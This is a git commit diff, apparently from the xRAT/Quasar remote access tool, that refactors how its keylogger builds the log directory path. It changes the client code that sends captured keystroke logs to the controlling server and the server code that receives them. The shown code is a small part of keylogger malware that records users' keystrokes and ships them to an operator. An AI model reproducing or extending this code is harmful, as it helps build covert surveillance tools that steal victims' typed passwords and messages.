Small Log directory fix

This commit is contained in:
MaxXor 2015-09-07 12:58:50 +02:00
parent 87211b84e1
commit 3b53a5c799
3 changed files with 4 additions and 7 deletions

View File

@ -158,15 +158,14 @@ namespace xClient.Core.Commands
try
{
int index = 1;
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
if (!Directory.Exists(path))
if (!Directory.Exists(Keylogger.LogDirectory))
{
new Packets.ClientPackets.GetKeyloggerLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
return;
}
FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();
FileInfo[] iFiles = new DirectoryInfo(Keylogger.LogDirectory).GetFiles();
if (iFiles.Length == 0)
{

View File

@ -30,7 +30,7 @@ namespace xClient.Core.Utilities
/// <summary>
/// The directory where the log files will be saved.
/// </summary>
public static string LogDirectory { get { return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; } }
public static string LogDirectory { get { return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Logs\\"); } }
private readonly Timer _timerFlush;
private StringBuilder _logFileBuffer;
@ -245,7 +245,7 @@ namespace xClient.Core.Utilities
{
bool writeHeader = false;
string fileName = LogDirectory + DateTime.Now.ToString("MM-dd-yyyy");
string fileName = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));
try
{

View File

@ -2,7 +2,6 @@ using System;
using System.IO;
using System.Linq;
using System.Threading;
using System.Windows.Forms;
using xServer.Core.Data;
using xServer.Core.Networking;
using xServer.Core.Packets.ClientPackets;
@ -108,7 +107,6 @@ namespace xServer.Core.Commands
if (packet.FileCount == 0)
{
client.Value.FrmKl.SetGetLogsEnabled(true);
return;
}